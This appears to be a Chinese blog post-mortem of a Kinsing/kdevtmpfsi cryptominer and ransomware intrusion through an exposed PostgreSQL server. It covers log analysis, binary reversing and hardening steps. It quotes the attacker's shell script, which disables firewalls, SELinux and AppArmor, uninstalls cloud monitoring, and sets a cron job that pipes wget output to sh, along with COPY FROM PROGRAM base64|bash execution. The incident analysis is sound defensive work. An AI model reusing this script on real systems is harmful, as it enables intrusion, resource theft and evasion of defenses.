异常发现
11 月 8 日下午,有小伙伴告诉我某服务异常,表现为后端程序报错与 PostgreSQL 查询相关。由于使用了 CDN 且仅配置了 HTTP 服务监控告警,因此并未在第一时间收到异常告警。
通过 SSH 连接服务器,使用 htop 命令查看正在运行的所有进程,发现 /tmp/kdevtmpfsi 进程高占用,运行用户为 postgres。

尝试结束该可疑进程,发现该程序会在 1 分钟内再次启动,猜测配置了定时任务或存在守护程序。
在云计算平台查看资源监视,该病毒于 UTC 11-7 16:15(北京时间 11-8 0:15)左右开始运行。

由于该病毒占用资源过多造成服务器性能下降,且位于 /tmp 目录下,因此对服务器进行重启以临时缓解。
重启服务器后连接 PostgreSQL 数据库发现所有的数据已被删除,同时入侵者创建了一个名为 readme_to_recover 的数据库,内容如下:

很显然,这是一个勒索病毒,病毒会针对 PostgreSQL 数据库进行入侵,同时利用服务器资源进行挖矿,造成服务器卡顿和服务崩溃。
入侵者的网站已在
archive.org存档,链接https://web.archive.org/web/20251108155042/https://2info.win/psg/,请谨慎访问
从服务器创建到被侵入仅 8 小时,好在还在部署阶段,没有重要数据(离谱
复盘与分析
本节列出的所有命令与脚本请勿运行,部分数据已进行脱敏处理
先贴一下事故服务器的情况:
- Ubuntu 24.04 LTS,运行在 Oracle Cloud
- 仅允许 SSH 密钥登录
- 端口全开
- 安装了宝塔面板,PostgreSQL 使用宝塔安装
- PostgreSQL 允许所有地址使用密码连接,且未对 PG 的登录配置日志
不难看出这起事故的导火索(因为还在部署阶段就没太注意,我反思)
进程
病毒的二进制文件在重启后已被临时清除,为了弄清病毒的入侵和运作方式,我并没有对服务器进行任何操作和加固,而是维持原样运行,等待病毒再次出现。
不出意外,在 11 月 9 日的 0:14 左右,服务器 CPU 占用再次来到了 100%。
查看 /tmp 目录,存在两个二进制文件,如下:

两个程序的所有者均为 postgres,其中 kdevtmpfsi 权限 700,创建时间 UTC 16:14;kinsing 权限 777 ,创建时间 UTC 16:11,略早于 kdevtmpfsi。
同时,我下载了一份病毒样本备用:

使用 ps -ef 命令查找两个进程,如下:

从进程信息来看,kdevtmpfsi 的运行时间在增长(从 06:25:29 变为 06:26:17),而 kinsing 的运行时间在一段时间内几乎保持不变(为 00:00:04),二者的 PPID 均为 1。
稍微熟悉 Linux 的小伙伴不难看出,kdevtmpfsi 持续占用 CPU 时间,为挖矿主程序;kinsing 占用 CPU 时间较少,为 kdevtmpfsi 的守护程序。同时,父进程 ID 为 1 说明二者原始父进程已经终止,转为孤儿进程,由 systemd 进程接管。
但不管怎么说,systemctl 又不是摆设,直接通过 sudo systemctl status <pid> 来查看启动链:

怎么和 postgres 进程一起启动了,再看看。
使用 sudo crontab -u postgres -l 命令查看 postgres 用户的定时任务:


该定时任务设置为每分钟执行一次,使用 wget 工具在静默模式(-q)下载至标准输出(-O -),并通过管道(|)传递给 sh 直接运行,将脚本的运行输出和系统邮件丢弃(> /dev/null 2>&1),以此实现执行信息的隐藏。
在 syslog 中查找相关进程的调用记录,只能找到定时任务相关的记录。

但当我尝试访问该网址时出现 502 错误,只好暂时放弃。
入侵方式
使用 sudo last postgres 命令查看 postgres 用户的登录情况,发现输出为空,说明不是通过 postgres 系统用户的弱口令入侵的。同时,运行在 postgres 用户的服务只有 PostgreSQL。
只有一种可能了。
从 /www/server/pgsql/logs 目录找到了 PostgreSQL 的执行日志,在日志中发现了异常。



这份虽不完整的日志反映了服务器被侵入的全过程,可以将入侵者的操作分为 5 个步骤:
服务探测
入侵者配置了自动工具,对某一特定 IP 段的服务器端口使用
nmap工具进行扫描,查找符合5432端口开放的服务器,并尝试使用空凭证连接,确认5432端口上运行的是 PostgreSQL;成功入侵
入侵者通过爆破弱口令密码/无密码成功连接后,通过尝试访问不存在的数据库
bbbbbbb和执行大量的SELECT VERSION();来确保已经完成登录,并收集数据库信息以查找漏洞;破坏数据库
入侵者先列出所有数据库,再依次通过
information_schema.tables获取表。对于每张表先从information_schema.columns获取列数,再使用SELECT * FROM ... LIMIT 50来读取表数据,读取后通过DROP TABLE IF EXISTS ... CASCADE彻底删除表信息,最终删除原有数据库并写入勒索信息;提权
入侵者创建了一个
pgg_superadmins的超级管理员,随后尝试ALTER USER postgres WITH NOSUPERUSER命令来撤销postgres用户的超级管理员权限,但因为postgres为数据库的初始化用户而被阻止;植入病毒
PostgreSQL 的
COPY ... FROM PROGRAM命令允许读取系统命令输出到表中,因此被入侵者用于执行脚本。1
2
3
4
5DROP TABLE IF EXISTS bwyeLzCF;
CREATE TABLE bwyeLzCF(cmd_output text);
COPY bwyeLzCF FROM PROGRAM 'echo ... | base64 -d | bash';
SELECT * FROM bwyeLzCF;
DROP TABLE IF EXISTS bwyeLzCF;入侵者使用新建的
pgg_superadmins创建了一个临时表bwyeLzCF,表中仅有cmd_output一个类型为text的字段,用于承载脚本的输出。echo ... | base64 -d | bash将 Base64 编码的脚本解码后立即运行,运行成功后删除表bwyeLzCF销毁痕迹。
对于核心脚本,Base64 解密后得到如下内容:
1 |
|
这段脚本在运行时会先通过 pkill 命令终止竞争程序,随后下载并运行脚本。入侵者为了能在缺失 curl 和 wget 的环境中运行,甚至在 __curl 函数中直接通过 TCP 协议发送 HTTP 请求。
脚本分析
由于该脚本过长且具有风险性,在这里仅对部分片段进行分析。
入侵准备
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71# 关闭防火墙
ufw disable
iptables -F
# 移除 root 用户的 SSH 密钥属性
chattr -iae /root/.ssh/
chattr -iae /root/.ssh/authorized_keys
# 结束符合条件的进程(注意这里 postgres 的 o)
for filename in /proc/*; do
ex=$(ls -latrh $filename 2> /dev/null|grep exe)
if echo $ex |grep -q "/tmp/.perf.c\|/var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
result=$(echo "$filename" | sed "s/\/proc\///")
kill -9 $result
echo found $filename $result
fi
if echo $ex |grep -q "/usr/local/bin/postgres"; then
cw=$(ls -latrh $filename 2> /dev/null|grep cwd)
if echo $cw |grep -q "/tmp"; then
result=$(echo "$filename" | sed "s/\/proc\///")
kill -9 $result
echo foundp $filename $result
fi
fi
done
# 针对性卸载阿里云与腾讯云监控
if ps aux | grep -i '[a]liyun'; then
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
# 关闭内核硬件监控 NMI Watchdog
sudo sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
# 按网络连接结束符合条件的进程(或其他挖矿程序)
netstat -anp | grep ... | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
pkill -f ...
# 按特征进程结束符合条件的进程(或其他挖矿程序)
ps aux | grep -v grep | grep ... | awk '{print $2}' | xargs -I % kill -9 %
pgrep -f ... | xargs -I % kill -9 %
# 删除其他挖矿程序
rm -rf ...
# 移除 Docker 中存在其他挖矿程序的容器和镜像
docker ps | grep ... | awk '{print $1}' | xargs -I % docker kill %
docker images -a | grep ... | awk '{print $3}' | xargs -I % docker rmi -f %
# 禁用系统安全机制
setenforce 0
echo SELINUX=disabled >/etc/selinux/config
service apparmor stop
systemctl disable apparmor
脚本先关闭防火墙,随后卸载云监控软件以防止被发现,移除竞争程序避免与
kdevtmpfsi抢占资源,最终禁用 SELinux 和 AppArmor 安全机制。加载挖矿程序
1
2
3
4
5
6
7
8
9
10
11
12
13# 针对不同架构下载对应的程序
BIN_MD5="b3039abf2ad5202f4a9363b418002351"
BIN_DOWNLOAD_URL="http://.../kinsing"
BIN_DOWNLOAD_URL2="http://.../kinsing"
BIN_NAME="kinsing"
arch=$(uname -i)
if [ $arch = aarch64 ]; then
BIN_MD5="da753ebcfe793614129fc11890acedbc"
BIN_DOWNLOAD_URL="http://.../kinsing_aarch64"
BIN_DOWNLOAD_URL2="http://.../kinsing_aarch64"
echo "arm executed"
fi在下载前根据架构选择了对应的二进制下载地址,同时根据如下优先级确定了下载位置(该部分代码已省略):
/etc,该目录需要 root 权限/tmp/var/tmp创建临时目录
mktemp -d/dev/shm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51# 用于校验 MD5 的函数
checkExists() {
CHECK_PATH=$1
MD5=$2
sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
retval=""
if [ "$MD5" = "$sum" ]; then
echo >&2 "$CHECK_PATH is $MD5"
retval="true"
else
echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
retval="false"
fi
echo "$retval"
}
# 用于下载的函数
download() {
DOWNLOAD_PATH=$1
DOWNLOAD_URL=$2
if [ -L $DOWNLOAD_PATH ]
then
rm -rf $DOWNLOAD_PATH
fi
chmod 777 $DOWNLOAD_PATH
$WGET $DOWNLOAD_PATH $DOWNLOAD_URL
chmod +x $DOWNLOAD_PATH
}
# 检查文件是否存在,不存在则下载
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" = "true" ]; then
echo "$BIN_FULL_PATH exists and checked"
else
echo "$BIN_FULL_PATH not exists"
rm -rf $BIN_FULL_PATH
download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" = "true" ]; then
echo "$BIN_FULL_PATH after download exists and checked"
else
echo "$BIN_FULL_PATH after download not exists"
download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" = "true" ]; then
echo "$BIN_FULL_PATH after download2 exists and checked"
else
echo "$BIN_FULL_PATH after download2 not exists"
fi
fi
fi运行和持久化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15chmod 777 $BIN_FULL_PATH
chmod +x $BIN_FULL_PATH
SKL=pg $BIN_FULL_PATH
crontab -l | sed '/#wget/d' | crontab -
crontab -l | sed '/#curl/d' | crontab -
crontab -l | grep -e "..." | grep -v grep
if [ $? -eq 0 ]; then
echo "cron good"
else
(
crontab -l 2>/dev/null
echo "* * * * * $LDR http://.../pg.sh | sh > /dev/null 2>&1"
) | crontab -
fi先给目标二进制文件(
$BIN_FULL_PATH)赋予最高权限,确保可以被运行,随后向定时任务中加入一条每分钟执行一次的命令,以此完成持久化,这也是上文看到的加载在postgres用户的那条定时任务。
二进制分析
程序特征
使用 Radare2 查看二进制文件原始信息,结果如下:

| 特征 | kdevtmpfsi |
kinsing |
|---|---|---|
| 架构(arch) | ARM aarch64 | ARM aarch64 |
| 二进制类型(bintype) | ELF | ELF |
| 大小(binsz) | ~2.4MB | ~6MB |
| 开发语言(lang) | C | Go |
| 静态链接(static) | 是 | 是 |
| 符号表(stripped) | 已剥离 | 已剥离 |
| 保护机制 | NX 启用,无 RELRO、Canary | 同左 |
使用 WinHex 查看 kdevtmpfsi 文件,不难找出 UPX 的特征

使用 UPX 脱壳后再次查看,结果如下:

与脱壳前不同,出现了如下内容:
1 | compiler GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0 |
kdevtmpfsi
通过查找关键字符串 http 快速定位到门罗币相关内容:
1 | [0x00402e00]> izz | grep -i "http" |
随后查找 monero\|xmr:
1 | [0x00402e00]> izz | grep -i "monero\|xmr" |
该程序连接地址为 xmr-eu1.nanopool.org 的矿池,收益地址为 4...b。
kinsing
接下来,我们来看看 kinsing 这个 Go 语言程序是如何实现进程守护的。
在 IDA 中先查找与 kdevtmpfsi 相关的字符串,但无法找到相关引用。

再查找与命令执行相关的函数:
1 | [0x000789e0]> iz | grep -E "process|pid|exec|kill" |
其中 exec.Cmd 是 Go 执行命令调用的函数,而 github.com/shirou/gopsutil 是 Python 中 psutil 的 Go 语言实现,用于获取系统信息,由此判断 kinsing 可能存在执行系统命令的行为。
emm…似乎弄复杂了,我们来看看有没有简单一些的方法。
我先将 kinsing 放在 ~/ 目录下,在 ubuntu 用户下使用 strace 对 kinsing 及其子进程进行跟踪:
1 | strace -f -e execve,kill,open,read,nanosleep -o log.txt ./kinsing |
在一个新的终端中结束 kdevtmpfsi,等待 kinsing 将其再次启动:
1 | pkill -f kdevtmpfsi |
kdevtmpfsi 再次启动时结束 strace 跟踪,并在日志中查找 kinsing 执行的相关命令:
1 | $ cat log.txt | grep -E "kdevtmpfsi|execve|kill" |
那么这个 /tmp/kdevtmpfsi3355009150 是怎么出现的呢,在日志中查找 http 连接相关信息:
1 | $ cat log.txt | grep -E "http" |
此时,kinsing 的逻辑已经水落石出,它的监控逻辑由四部分组成:
- 监控进程:通过
read读取进程信息,检测kdevtmpfsi是否存在; - 结束已存在的进程:通过
sh -c "pkill -f kdevtmpfsi"命令,尝试结束已存在的kdevtmpfsi进程; - 下载挖矿程序:若
kdevtmpfsi不存在,则执行前文出现的初始化脚本下载挖矿程序到/tmp目录下,这里kdevtmpfsi带随机数后缀是因为目录下已存在不可读写的同名文件; - 启动挖矿程序:通过
sh -c "/tmp/kdevtmpfsiXXXX &"命令静默式启动挖矿程序。
回到 IDA 中,再次进行相关查找,发现先前被忽略掉的 /var/tmp/kdevtmpfsi 字符串在 main.minerRunningCheck 被引用:

main.minerRunningCheck 函数存在自身循环,那么基本上可以确定该函数就是进程守护的主要逻辑。
对该函数展开分析,发现该函数除自身循环外,还调用了 main.getMinerPid、main.isMinerRunning、main.minRun 等函数:


在 main.minRun 中找到了 strace 日志中出现的内容:

也发现 kinsing 还内置了一个下载运行工具:

一切都理清了。
解决方案
被删除的数据库无法恢复,只能通过备份还原
基于对侵入流程的复盘,我总结出如下解决方案:
请在执行前建立系统快照
删除可疑定时任务
临时禁用定时任务以防止二次感染:
1
2
3
4sudo systemctl stop cron
sudo systemctl stop crond
sudo service cron stop
sudo service crond stop编辑
postgres用户的定时任务:1
sudo crontab -u postgres -e
随后再次查看定时任务,确保可疑项已被清除:
1
sudo crontab -u postgres -l
取消病毒文件的读写和执行权限
1
sudo chmod 000 /tmp/kdevtmpfsi /tmp/kinsing
终止相应进程
1
2sudo pkill -9 -f kinsing
sudo pkill -9 -f kdevtmpfsi删除病毒文件
全盘查找文件名包含
kinsing和kdevtmpfsi的文件并删除1
2sudo find / -name "*kdevtmpfsi*" -delete
sudo find / -name "*kinsing*" -delete重启服务器
1
sudo reboot
恢复属性保护
1
2
3
4
5
6sudo chattr +i /etc/passwd
sudo chattr +i /etc/shadow
sudo chattr +i /etc/group
sudo chattr +i /etc/gshadow
sudo chattr +i /etc/ssh/sshd_config
sudo chattr +i /root/.ssh/authorized_keys加固 PostgreSQL
查找
postgresql.conf是否存在如下项:1
listen_addresses = '*'
查找
pg_hba.conf是否存在如下项:1
2
3
4
5host all all 0.0.0.0/0 md5
host all all ::0/0 md5
host all all 0.0.0.0/0 trust
host all all ::0/0 trust如有,应立即修改或删除。例如仅允许 Docker 容器连接:
1
host all all 172.17.0.0/16 md5
加固服务器
对
/tmp目录进行加固:1
sudo mount -o remount,noexec,nosuid,nodev /tmp
建立防火墙规则(根据实际需求修改):
1
2
3
4
5
6
7
8
9
10
11
12# 允许已建立的连接
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 允许本地回环
sudo iptables -A INPUT -i lo -j ACCEPT
# 允许SSH
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
# 保存并生效
sudo service iptables save
sudo systemctl enable iptables恢复 SELinux 或 AppArmor
1
2
3
4
5
6
7# 对 SELinux 系统(CentOS/RHEL)
sudo sed -i 's/SELINUX=disabled/SELINUX=permissive/' /etc/selinux/config
# 对 AppArmor 系统(Ubuntu/Debian)
sudo systemctl enable apparmor
sudo systemctl start apparmor
sudo systemctl reload apparmor重启,再次观察验证
1
sudo reboot